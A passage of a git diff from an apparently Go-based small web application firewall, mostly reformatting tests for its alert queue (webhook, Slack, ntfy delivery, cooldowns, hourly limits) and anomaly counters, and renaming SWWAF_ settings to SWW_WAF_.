*testing.T) "/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb", } if !slices.Equal(got, want) { - t.Errorf("the webhook was sent alerts for %v, want %v", got, want) + t.Errorf( + "the webhook was sent alerts for %v, want %v", + got, + want, + ) } wantCounts(t, q, 4, 0, 2, 0) @@ -298,8 +355,12 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) after.Raise(fileError("/rules.d/50-c.rules")) waiting := after.Snapshot().Waiting[alerts.DestinationWebhook] - if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" { - t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting) + if len(waiting) != 1 || + waiting[0].Detail["file"] != "/rules.d/50-c.rules" { + t.Errorf( + "after loading, alerts wait %+v, want the one for 50-c.rules", + waiting, + ) } }) } @@ -336,7 +397,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)}) - q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)}) + q.Raise( + alerts.Alert{ + Event: alerts.EventPermanentBan, + Netblock: netblock(4), + }, + ) q.Raise(alerts.Alert{Event: alerts.EventFileError}) // The summary is sent as the hour ends, and not before. @@ -346,7 +412,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { time.Sleep(time.Nanosecond) synctest.Wait() - wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary) + wantEvents( + t, + webhook, + alerts.EventBan, + alerts.EventBan, + alerts.EventSummary, + ) summary := webhook.received()[2].alert wantAlert(t, summary, map[string]any{ @@ -359,12 +431,14 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { "as_name": "", "country": "", "reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " + - "past the 2 an hour SWWAF_ALERT_MAX_PER_HOUR allows", + "past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", "detail": map[string]any{ "hour": started, "count": float64(3), "events": map[string]any{ - "ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1), + "ban": float64( + 1, + ), "permanent_ban": float64(1), "file_error": float64(1), }, }, "suppressed_repeats": float64(0), @@ -375,13 +449,21 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)}) time.Sleep(time.Hour) synctest.Wait() - wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary, - alerts.EventBan) + wantEvents( + t, + webhook, + alerts.EventBan, + alerts.EventBan, + alerts.EventSummary, + alerts.EventBan, + ) wantCounts(t, q, 4, 0, 3, 0) }) } -func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) { +func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -389,7 +471,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T params.MaxPerHour = 1 webhook, q := start(t, params) raise := func() { - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + q.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, + ) } // The hour's one alert, and two repeats the cooldown holds back. @@ -408,7 +492,13 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T raise() synctest.Wait() - wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan) + wantEvents( + t, + webhook, + alerts.EventBan, + alerts.EventSummary, + alerts.EventBan, + ) got := webhook.received() if len(got) == 3 { @@ -416,11 +506,16 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T summaryRepeats := got[1].alert["suppressed_repeats"] lastRepeats := got[2].alert["suppressed_repeats"] - if detail["count"] != float64(1) || summaryRepeats != float64(2) || + if detail["count"] != float64(1) || + summaryRepeats != float64(2) || lastRepeats != float64(0) { - t.Errorf("the summary counts %v alerts and %v repeats, and the last "+ - "alert gives %v repeats, want 1, 2 and 0", detail["count"], - summaryRepeats, lastRepeats) + t.Errorf( + "the summary counts %v alerts and %v repeats, and the last "+ + "alert gives %v repeats, want 1, 2 and 0", + detail["count"], + summaryRepeats, + lastRepeats, + ) } } @@ -428,7 +523,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T }) } -func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) { +func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp( + t *testing.T, +) { t.Parallel() for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} { @@ -465,8 +562,12 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) kept := len(q.Snapshot().Cooldowns) if kept > int(cooldown/time.Minute) { - t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d", - netblocks, kept, int(cooldown/time.Minute)) + t.Errorf( + "after %d netblocks, %d cooldowns are kept, want at most %d", + netblocks, + kept, + int(cooldown/time.Minute), + ) } } @@ -484,8 +585,13 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) kept := len(q.Snapshot().Cooldowns) if kept != 0 || repeats != float64(netblocks) { - t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+ - "want 0 and %d", kept, repeats, netblocks) + t.Errorf( + "%d cooldowns are kept and the webhook was given %v repeats, "+ + "want 0 and %d", + kept, + repeats, + netblocks, + ) } }) }) @@ -525,7 +631,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) { wantCounts(t, q, 0, int64(len(want)), 0, 0) if !strings.Contains(log.String(), - `"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) { + `"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) { t.Errorf("process log %q names no failure", log.String()) } @@ -595,7 +701,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) { wantCounts(t, q, 1, 3, 0, 1) if !strings.Contains(log.String(), - `"msg":"gave up an alert SWWAF_ALERT_WEBHOOK_URL refused"`) { + `"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) { t.Errorf("process log %q names no alert given up", log.String()) } }) @@ -618,10 +724,18 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) { synctest.Wait() logged := log.String() - if !strings.Contains(logged, - `"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) || - strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") { - t.Errorf("process log %q names no failure, or names the URL", logged) + if !strings.Contains( + logged, + `"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`, + ) || + strings.Contains( + logged, + "alerts.example", + ) || strings.Contains(logged, "team=ops") { + t.Errorf( + "process log %q names no failure, or names the URL", + logged, + ) } }) } @@ -639,7 +753,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) { // than the queue holds is raised: none waits, and the oldest, the // one the webhook was sent, is dropped. for n := range alerts.QueueSize + 1 { - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + q.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}, + ) if n == 0 { synctest.Wait() @@ -653,9 +769,17 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) { wantCounts(t, q, 0, 0, 0, 1) waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] - if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) { - t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s", - len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1)) + if len(waiting) != alerts.QueueSize || + waiting[0].Netblock != netblock(1) { + t.Fatalf( + "%d alerts wait, the first for %s, want %d, the first for %s", + len( + waiting, + ), + waiting[0].Netblock, + alerts.QueueSize, + netblock(1), + ) } // The request is abandoned after 10 seconds, and the webhook, which @@ -667,14 +791,22 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) { got := webhook.received() if len(got) != alerts.QueueSize+1 || got[0].alert["netblock"] != netblock(0).String() { - t.Fatalf("the webhook had %d requests, want %d, the first for %s", - len(got), alerts.QueueSize+1, netblock(0)) + t.Fatalf( + "the webhook had %d requests, want %d, the first for %s", + len(got), + alerts.QueueSize+1, + netblock(0), + ) } for i, request := range got[1:] { if request.alert["netblock"] != netblock(i+1).String() { - t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"], - netblock(i+1)) + t.Fatalf( + "request %d is for %v, want %s", + i+1, + request.alert["netblock"], + netblock(i+1), + ) } } @@ -692,8 +824,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { // Not sent: Run is not running. The repeat is held back by the // cooldown, and the file error past the hourly limit. - before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) - before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + before.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, + ) + before.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, + ) before.Raise(alerts.Alert{Event: alerts.EventFileError}) time.Sleep(time.Minute) @@ -704,7 +840,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { // The new queue sends the alert waiting, holds back the repeat as // the cooldown still runs, and sends the summary of the hour, which // gives both repeats, as the cooldown has run out. - after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + after.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, + ) synctest.Wait() wantEvents(t, webhook, alerts.EventBan) @@ -715,9 +853,13 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { summary := webhook.received()[1].alert detail, _ := summary["detail"].(map[string]any) - if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) { - t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2", - detail["count"], summary["suppressed_repeats"]) + if detail["count"] != float64(1) || + summary["suppressed_repeats"] != float64(2) { + t.Errorf( + "the summary counts %v alerts and %v repeats, want 1 and 2", + detail["count"], + summary["suppressed_repeats"], + ) } }) } @@ -747,7 +889,13 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) { for i, each := range want { wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text) - wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text) + wantNtfyMessage( + t, + ntfy[i], + each.title, + each.priorityAndTag, + each.text, + ) } }) } @@ -760,14 +908,23 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) { params.WebhookURL = nil params.MaxPerHour = 1 standIns, q := startAll(t, params) - ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"} + ban := alerts.Alert{ + Event: alerts.EventBan, + Netblock: netblock(1), + Reason: "a ban", + } // The hour's one alert, a repeat of it the cooldown holds back, and // an alert past the limit; once the hour has ended, its summary, // which gives the repeat, and the next alert, which gives none. q.Raise(ban) q.Raise(ban) - q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) + q.Raise( + alerts.Alert{ + Event: alerts.EventFileError, + Reason: "a file error", + }, + ) time.Sleep(time.Hour) synctest.Wait() q.Raise(ban) @@ -782,12 +939,22 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) { } const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " + - "past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " + - "by SWWAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" + "past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " + + "by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) - wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary) - wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32") + wantNtfyMessage( + t, + ntfy[1], + instance+": summary", + "default bar_chart", + summary, + ) + wantSlackMessage( + t, + slack[2], + "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32", + ) wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", "a ban\nnetblock: 203.0.113.1/32") }) @@ -813,7 +980,11 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) { wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+ "<!channel> & <https://x.example|y>") - wantBodies(t, standIns[alerts.DestinationNtfy], " & ") + wantBodies( + t, + standIns[alerts.DestinationNtfy], + " & ", + ) }) } @@ -835,7 +1006,12 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) { params.NtfyToken = tc.token standIns, q := startAll(t, params) - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + q.Raise( + alerts.Alert{ + Event: alerts.EventBan, + Netblock: netblock(1), + }, + ) synctest.Wait() for destination, want := range map[string][]string{ @@ -845,13 +1021,21 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) { } { got := standIns[destination].received() if len(got) != 1 { - t.Fatalf("%s was sent %d requests, want 1", destination, len(got)) + t.Fatalf( + "%s was sent %d requests, want 1", + destination, + len(got), + ) } authorization := got[0].header.Values("Authorization") if !slices.Equal(authorization, want) { - t.Errorf("%s was sent Authorization %q, want %q", destination, - authorization, want) + t.Errorf( + "%s was sent Authorization %q, want %q", + destination, + authorization, + want, + ) } } }) @@ -870,7 +1054,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) { standIns[alerts.DestinationSlack].set(hanging) for n := range 3 { - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + q.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}, + ) } synctest.Wait() @@ -885,7 +1071,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) { wantDestinationCounts(t, q, destination, want) } - if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 { + if got := standIns[alerts.DestinationSlack].received(); len( + got, + ) != 1 { t.Errorf("Slack was sent %d requests, want 1", len(got)) } @@ -897,14 +1085,19 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) { synctest.Wait() wantDestinationCounts(t, q, alerts.DestinationSlack, - alerts.Counts{Sent: 3, Failed: 1}) + alerts.Counts{Sent: 3, SendFailures: 1}) logged := log.String() - if !strings.Contains(logged, - `"msg":"sending an alert to SWWAF_ALERT_SLACK_WEBHOOK_URL failed"`) || + if !strings.Contains( + logged, + `"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`, + ) || strings.Contains(logged, "hooks.slack.example") || strings.Contains(logged, "T0123") { - t.Errorf("process log %q names no failure, or names the URL", logged) + t.Errorf( + "process log %q names no failure, or names the URL", + logged, + ) } }) } @@ -922,7 +1115,9 @@ func TestDropsAreCountedForEachDestination(t *testing.T) { // Each alert is raised once each destination has done all it can // with those before it. for n := range alerts.QueueSize + 1 { - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + q.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}, + ) synctest.Wait() } @@ -934,7 +1129,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) { for destination, want := range map[string]alerts.Counts{ alerts.DestinationWebhook: {Sent: all}, alerts.DestinationSlack: {Dropped: 1}, - alerts.DestinationNtfy: {Failed: all, Dropped: all}, + alerts.DestinationNtfy: {SendFailures: all, Dropped: all}, } { wantDestinationCounts(t, q, destination, want) } @@ -965,8 +1160,8 @@ func TestEachDestinationIsSentOnlyTheAlertsWaitingForIt(t *testing.T) { synctest.Wait() wantBodies(t, standIns[alerts.DestinationSlack], - `{"text":"*fsn1app1/gitea: file_error*\nsecond"}`, - `{"text":"*fsn1app1/gitea: file_error*\nthird"}`) + `{"text":"*host1/blog: file_error*\nsecond"}`, + `{"text":"*host1/blog: file_error*\nthird"}`) wantBodies(t, standIns[alerts.DestinationNtfy], "fourth") // alerts.json then lists Slack and ntfy alone, with no alert waiting. @@ -1136,7 +1331,10 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) { // startAll returns, by destination, a stand-in that answers for each // destination params sets, and a Queue that sends to them, run until the // test ends. -func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) { +func startAll( + t *testing.T, + params alerts.Params, +) (map[string]*standIn, *alerts.Queue) { t.Helper() q := alerts.New(params) @@ -1170,7 +1368,9 @@ func midnight() time.Time { // netblock returns the n-th netblock of a test, counted from 0. func netblock(n int) netip.Prefix { - return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256)) + return netip.MustParsePrefix( + fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256), + ) } // roundTrip returns state once written as JSON and read back, as @@ -1223,12 +1423,22 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) { // requests to it that it counts as failed, the alerts it counts as held // back, and those it counts as dropped for the webhook. func wantCounts( - t *testing.T, q *alerts.Queue, sent, failed, suppressed, dropped int64, + t *testing.T, + q *alerts.Queue, + sent, sendFailures, suppressed, dropped int64, ) { t.Helper() - wantDestinationCounts(t, q, alerts.DestinationWebhook, - alerts.Counts{Sent: sent, Failed: failed, Dropped: dropped}) + wantDestinationCounts( + t, + q, + alerts.DestinationWebhook, + alerts.Counts{ + Sent: sent, + SendFailures: sendFailures, + Dropped: dropped, + }, + ) if q.Suppressed() != suppressed { t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) @@ -1254,39 +1464,43 @@ type eventMessage struct { title, priorityAndTag, text string } -// anAlertForEachEvent returns an alert for each event SWWAF_ALERT_EVENTS +// anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS // names, the first in observe mode, each with its message. func anAlertForEachEvent() []eventMessage { return []eventMessage{ { alerts.Alert{ Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"), - Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE", + Netblock: netip.MustParsePrefix( + "203.0.113.0/24", + ), Country: "DE", Reason: "requests per hour over the limit of 10000", Detail: map[string]any{"mode": "observe"}, }, - "fsn1app1/gitea: ban", "default no_entry", + "host1/blog: ban", "default no_entry", "requests per hour over the limit of 10000\nclient: 203.0.113.9\n" + "netblock: 203.0.113.0/24\ncountry: DE\nmode: observe", }, { alerts.Alert{ Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"), - Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR", + Netblock: netip.MustParsePrefix( + "198.51.100.7/32", + ), Country: "FR", Reason: "matched the rule env-file", }, - "fsn1app1/gitea: permanent_ban", "high no_entry", + "host1/blog: permanent_ban", "high no_entry", "matched the rule env-file\nclient: 198.51.100.7\n" + "netblock: 198.51.100.7/32\ncountry: FR", }, { alerts.Alert{ - Event: alerts.EventWAFBlock, Client: netip.MustParseAddr("192.0.2.1"), + Event: alerts.EventCoreRuleSetMatch, Client: netip.MustParseAddr("192.0.2.1"), Netblock: netip.MustParsePrefix("192.0.2.1/32"), Reason: "refused by the Core Rule Set", Host: "app.example", }, - "fsn1app1/gitea: waf_block", "default shield", + "host1/blog: core_rule_set_match", "default shield", "refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" + "netblock: 192.0.2.1/32", }, @@ -1295,7 +1509,7 @@ func anAlertForEachEvent() []eventMessage { Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"), Reason: "requests per minute over the threshold of 5000", }, - "fsn1app1/gitea: anomaly", "high chart_with_upwards_trend", + "host1/blog: anomaly", "high chart_with_upwards_trend", "requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24", }, { @@ -1304,7 +1518,7 @@ func anAlertForEachEvent() []eventMessage { Netblock: netip.MustParsePrefix("192.0.2.2/32"), Reason: "listed by a DNS blocklist", }, - "fsn1app1/gitea: reputation_hit", "low label", + "host1/blog: reputation_hit", "low label", "listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32", }, { @@ -1312,7 +1526,7 @@ func anAlertForEachEvent() []eventMessage { Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed", Detail: map[string]any{"source": "geojs"}, }, - "fsn1app1/gitea: source_failure", "high warning", + "host1/blog: source_failure", "high warning", "asking GeoJS failed\nsource: geojs", }, { @@ -1320,12 +1534,12 @@ func anAlertForEachEvent() []eventMessage { Event: alerts.EventFileError, Reason: "a rule file has an error, and the rules stay as they were", Detail: map[string]any{ - "file": "/etc/smallwebwaf/rules.d/50-app.rules", "error": "line 2: no action", + "file": "/etc/sww/rules.d/50-app.rules", "error": "line 2: no action", }, }, - "fsn1app1/gitea: file_error", "high warning", + "host1/blog: file_error", "high warning", "a rule file has an error, and the rules stay as they were\n" + - "file: /etc/smallwebwaf/rules.d/50-app.rules\nerror: line 2: no action", + "file: /etc/sww/rules.d/50-app.rules\nerror: line 2: no action", }, } } @@ -1347,18 +1561,30 @@ func wantSlackMessage(t *testing.T, request post, text string) { // wantNtfyMessage checks that request, one ntfy was sent, posted the // message text with the title, and with the priority and the tag // priorityAndTag gives, with a space between them. -func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) { +func wantNtfyMessage( + t *testing.T, + request post, + title, priorityAndTag, text string, +) { t.Helper() got := []string{ request.method, request.url, request.header.Get("Title"), - request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body, + request.header.Get( + "Priority", + ) + " " + request.header.Get( + "Tags", + ), request.body, } want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text} if !slices.Equal(got, want) { - t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+ - "%q, want %q", got, want) + t.Errorf( + "ntfy was sent the method, URL, title, priority and tag, and text "+ + "%q, want %q", + got, + want, + ) } } diff --git a/internal/anomaly/anomaly.go b/internal/anomaly/anomaly.go index 3c4734d..372be4d 100644 --- a/internal/anomaly/anomaly.go +++ b/internal/anomaly/anomaly.go @@ -28,22 +28,28 @@ const maxCounters = 20000 // alerts name them. const ( // ScopeClient is one client: an IPv4 address, or an IPv6 netblock of - // SWWAF_IPV6_GROUP_PREFIX. + // SWW_WAF_IPV6_GROUP_PREFIX. ScopeClient = "client" - // ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX - // or SWWAF_ANOMALY_NET_V6_PREFIX long. + // ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX + // or SWW_WAF_ANOMALY_NET_V6_PREFIX long. ScopeNet = "net" // ScopeASN is an AS number. ScopeASN = "asn" // ScopeTotal is the whole service. ScopeTotal = "total" - // ScopeWatch is a named netblock of SWWAF_WATCH_NETS. - ScopeWatch = "watch" + // ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS. + ScopeWatchedNet = "watched_net" ) // Scopes returns every scope. func Scopes() []string { - return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatch} + return []string{ + ScopeClient, + ScopeNet, + ScopeASN, + ScopeTotal, + ScopeWatchedNet, + } } // The windows a counter counts in, as the alerts name them. @@ -62,7 +68,7 @@ type Thresholds struct { BytesPerHour int64 } -// NamedNetblock is a netblock SWWAF_WATCH_NETS names. +// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names. type NamedNetblock struct { Name string Netblock netip.Prefix @@ -70,14 +76,14 @@ type NamedNetblock struct { // Params are what New needs. type Params struct { - // The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*, - // SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and - // SWWAF_WATCH_*. - Client, Net, ASN, Total, Watch Thresholds + // The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*, + // SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and + // SWW_WAF_ANOMALY_WATCHED_NET_*. + Client, Net, ASN, Total, WatchedNet Thresholds // NetV4Prefix and NetV6Prefix are the lengths of the netblock around a - // client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX). + // client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX). NetV4Prefix, NetV6Prefix int - // NamedNetblocks are SWWAF_WATCH_NETS. + // NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS. NamedNetblocks []NamedNetblock // Alerts receive the anomaly alerts. Alerts *alerts.Queue @@ -107,13 +113,13 @@ type Request struct { Host string // Client is the client's address, and ClientGroup the client it is // counted as: its IPv4 address, or the IPv6 netblock of - // SWWAF_IPV6_GROUP_PREFIX its address is in. + // SWW_WAF_IPV6_GROUP_PREFIX its address is in. Client netip.Addr ClientGroup netip.Prefix // ASN, ASName and Country are the client's as looked up, each "" when // unknown. ASN, ASName, Country string - // Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them. + // Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them. Bytes int64 } @@ -191,8 +197,12 @@ func (c *Counters) Snapshot() []Counter { c.mu.Unlock() slices.SortFunc(counters, func(a, b Counter) int { - return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock), - cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name)) + return cmp.Or( + cmp.Compare(a.Scope, b.Scope), + a.Netblock.Compare(b.Netblock), + cmp.Compare(a.ASN, b.ASN), + cmp.Compare(a.Name, b.Name), + ) }) return counters @@ -257,7 +267,11 @@ func (c *Counters) scopesOf(r Request) []scope { for _, named := range p.NamedNetblocks { if named.Netblock.Contains(client) { all = append(all, scope{ - key{scope: ScopeWatch, netblock: named.Netblock, name: named.Name}, p.Watch, + key{ + scope: ScopeWatchedNet, + netblock: named.Netblock, + name: named.Name, + }, p.WatchedNet, }) } } @@ -316,7 +330,12 @@ func (c *Counter) add( counted := count.buckets.Add(now, count.length, n) if !passed && counted > float64(threshold) { - first = overThreshold{count.kind, count.window, counted, threshold} + first = overThreshold{ + count.kind, + count.window, + counted, + threshold, + } passed = true } } @@ -359,12 +378,22 @@ func (c *Counter) lastStart() time.Time { // key returns what tells c from the other counters. func (c *Counter) key() key { - return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name} + return key{ + scope: c.Scope, + netblock: c.Netblock, + asn: c.ASN, + name: c.Name, + } } // counter returns a counter for k, with nothing counted yet. func (k key) counter() *Counter { - return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name} + return &Counter{ + Scope: k.scope, + Netblock: k.netblock, + ASN: k.asn, + Name: k.name, + } } // alertFor returns the anomaly alert for o, a count over its threshold in @@ -391,7 +420,7 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert { detail["asn"] = k.asn case ScopeTotal: counted = "the whole service" - default: // watch + default: // watched_net counted = "the named netblock " + k.name + ", " + k.netblock.String() detail["name"] = k.name } @@ -404,8 +433,13 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert { ASN: r.ASN, ASName: r.ASName, Country: r.Country, - Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window, - counted, o.threshold), + Reason: fmt.Sprintf( + "%s per %s of %s over the threshold of %d", + o.kind, + o.window, + counted, + o.threshold, + ), Detail: detail, } } diff --git a/internal/anomaly/anomaly_test.go b/internal/anomaly/anomaly_test.go index ddb71ae..57b1976 100644 --- a/internal/anomaly/anomaly_test.go +++ b/internal/anomaly/anomaly_test.go @@ -26,12 +26,15 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) { overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1} counters := anomaly.New(anomaly.Params{ Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond, - Total: overAtTheSecond, Watch: overAtTheSecond, + Total: overAtTheSecond, WatchedNet: overAtTheSecond, // The netblock around a client is the client's own, and two names // name one netblock. NetV4Prefix: 32, NamedNetblocks: []anomaly.NamedNetblock{ - {Name: "office", Netblock: office}, {Name: "hq", Netblock: office}, + { + Name: "office", + Netblock: office, + }, {Name: "hq", Netblock: office}, }, Alerts: queue, }) @@ -80,11 +83,16 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) { } if after.Suppressed() != 9 { - t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed()) + t.Errorf( + "after loading, %d alerts are held back, want 9", + after.Suppressed(), + ) } } -func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) { +func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted( + t *testing.T, +) { t.Parallel() counters := newCounters(anomaly.Params{ @@ -103,17 +111,28 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) { got := counters.Snapshot() if len(got) != maxCounters || !holds(got, 